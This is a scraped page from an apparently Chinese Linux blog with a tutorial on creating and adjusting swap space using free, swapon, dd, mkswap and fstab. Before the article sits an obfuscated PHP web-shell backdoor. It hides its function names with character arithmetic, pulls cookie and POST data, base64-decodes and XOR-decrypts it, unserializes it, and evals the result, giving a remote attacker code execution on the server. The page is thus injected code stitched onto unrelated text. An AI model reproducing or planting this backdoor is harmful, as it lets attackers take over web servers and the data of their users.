$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux交换分区的创建和调整 | Linux运维部落

Linux交换分区的创建和调整

概述

本文对swap进行简要介绍,以及系统安装后(在运行中)如何建立或调整swap分区。

文中演示环境为:

Linux交换分区的创建和调整


什么是swap space?

交换分区,即swap space。它将某段磁盘空间独立划分出来,当物理内存不够的情况下,系统先把物理内存中暂时不用的数据,暂存到交换空间,腾出内存空间来,以保证程序的运行;当swap中存储的页面被访问到时,系统会将其重新载入到物理内存中去运行。在Windows、Unix、Linux系统中都有交换分区的概念。


怎么分配swap space?

作为系统物理内存的补充,交换分区的操作即是磁盘I/O的操作,我们应当尽可能地利用更高I/O的硬盘划分交互分区。优先考虑的是固态硬盘,而对于机械硬盘来说,前面的磁盘要比后面的快,因此优先使用靠前的扇区划分swap。

另外,Swap分区的数量对性能也有很大的影响。如果有多个Swap交换区,Swap空间的分配会以轮流的方式操作于所有的Swap,这样会大大均衡IO的负载,加快Swap交换的速度。如果只有一个交换区,所有的交换操作会使交换区变得很忙,使系统大多数时间处于等待状态,效率很低。


分配多少swap space?

分配太多的Swap空间会浪费磁盘空间,而Swap空间太少,则系统会发生错误。如果系统的物理内存用光了,系统就会跑得很慢,但仍能运行;如果Swap空间用光了,那么系统就会发生错误。例如,Web服务器能根据不同的请求数量衍
生出多个服务进程(或线程),如果Swap空间用完,则服务进程无法启动,通常会出现“application is out of
memory”的错误,严重时会造成服务进程的死锁。因此Swap空间的分配是很重要的。

通过翻查《 Red Hat Enterprise Linux 7 Installation Guide 》,看到红帽官方推荐的分配方案:

Linux交换分区的创建和调整

生产环境中不应开启休眠(hibernation),所以不需要考虑第三列,即:

  •             内存小于 2GB时,推荐swap大小为内存2倍;

  •             内存 2 ~ 8GB时,推荐swap大小等于内存大小;

  •             内存 8 ~64GB时,推荐swap大小为内存的0.5;

  •             内存大于64GB时,则视服务器的工作负载配置。

如果您的系统资源允许的话,增加交换空间可能会导致更好的性能。


如何查看swap space?

Linux中,系统提供了三种方法可以查看系统的swap的分区情况:

      • cat /proc/swaps

      • swapon -s

      • free

Linux交换分区的创建和调整


如何划分和增加swap space?

我们都知道在安装Linux系统时在分区时可以分配swap分区,而系统安装后(在运行中)如何建立或调整swap分区呢?

在装完Linux系统之后,建立Swap分区基本设置包括:

  •         创建交换分区或者文件

  •         使用mkswap写入特殊签名

  •         在/etc/fstab文件中添加适当的条目

  •         使用swapon -a 激活交换空间

swap分区的操作必须用root权限,操作过程应该小心谨慎。

为了避免不必要的问题,我们先停止所有的swap分区

[root@IP70-CentOS7 ~]# >>swapoff -a         #停止所有的swap分区

Linux交换分区的创建和调整

1. 创建交换分区或者文件

建立swap有两种方法:a.新建磁盘分区;b.用文件作为swap分区。

a.新建磁盘分区:

用fdisk命令(例:# fdisk /dev/sdb),新建大小2GB分区,在fdisk中用“t”命令调整分区类型为82(Linux swap类型),最后w保存fdisk操作。

1472531988614299.png

b.用文件作为swap分区:

用dd命令创建分区文件,文件大小可以通过指定选项进行设置。(bs*count=文件大小)

[root@IP70-CentOS7 ~]# >> dd if=/dev/zero of=/root/swap bs=1M count=2048

Linux交换分区的创建和调整

2. 使用mkswap写入特殊签名(格式化swap分区)

mkswap是专门用于设置Linux swap分区的命令,命令格式是mkswap [options] device [size]

Linux交换分区的创建和调整

3. 在/etc/fstab文件中添加适当的条目

Linux交换分区的创建和调整

4. 使用swapon -a 激活交换空间

Linux交换分区的创建和调整

多个swap分区是有优先级(Priority)的,数值大,则优先使用。我们可以通过swapon的-p选项调整swap的优先级,优化swap性能:分布存放,高性能磁盘存放。

需要注意的是:修改后,需要swapoff禁用,再swapon进行重新挂载。



结束语

虽然swap分区能够作为"虚拟"的内存,但它的速度比物理内存可是慢多了,因此如果需要更快的速度的话,并不能寄厚望于swap,最好的办法仍然是加大物理内存。swap分区只是临时的解决办法.

原创文章,作者:昭其,如若转载,请注明出处:http://www.178linux.com/42130

(3)
上一篇 2016-08-30 13:55
下一篇 2016-08-30 13:55

相关推荐

  • 用NFS搭建wordpress让两台httpd服务同时服务

    一、博客实践作业: (1) nfs server导出/data/application/web,在目录中提供wordpress;  (2) nfs client挂载nfs server导出的文件系统至/var/www/html; (3) 客户端(lamp)部署wordpress,并让其正常访问;要确保能正常发文章,上传图片; (4) 客户端2(la…

    2017-06-07
  • corosync+pacemaker+drbd+mysql来实现mysql的高可用和数据的同步

    实现拓扑图: 实验流程: 先对两主机安装上corosync和pacemaker 两主机安装drbd服务,并且设置好drbd的组设备 选择drbd主节点上,进行数据库的初始化 进行资源的定义和配置 测试 实验前,我们还需要做一些准备工作: 1、时间必须保持同步   使用ntp服务器 2、节点必须名称互相通信    解析节点名称 &…

    Linux干货 2015-11-10
  • N25_第一周

    计算机组成 计算机通常由硬件和软件组成1.硬件 CPU CPU通常由控制器和运算器组成。控制器:是整个计算机的中枢神经,其功能是对程序规定的控制信息进行解释,根据其要求进行控制,调度程序、数据、地址,协调计算机各部分工作及内存与外设的访问等。运算器:是对数据进行各种算术运算和逻辑运算,即对数据进行加工处理。 存储 存储器的功能是存储程序、…

    Linux干货 2016-12-03
  • RAID,pv,vg,lv的实验

    首先在虚拟机中添加5块硬盘,以备实验使用,此实验以sdc,sdd,sde,sdf,sdg硬盘为例:     添加硬盘:(不用重新启动虚拟机读取新添加磁盘)             ~]# echo “- – -” > /sys/class…

    Linux干货 2017-03-19
  • Linux命令学习总结:cp命令

    Linux命令学习总结:cp命令 命令简介:      cp命令用来复制文件或目录。指令英文原义:copy,copy files and directories      指令所在路径:/bin/cp 命令语法: cp [OPTION]… [-T]   SO…

    Linux干货 2017-07-23
  • MBR与GPT分区结构的不同及磁盘分区命令总结

    一、MBR分区结构 主引导记录(Master Boot Record,缩写:MBR),又叫做主引导扇区,是目前比较流行的一种分区结构。磁盘的0磁道0扇区称为MBR,它的大小是512字节,这个区域被分为三个部分: 第一部分为boot loader(主引导程序),占446字节; 第二部分为Partition table(分区表),即DPT,占64字节,每个分区项…

    Linux干货 2016-08-29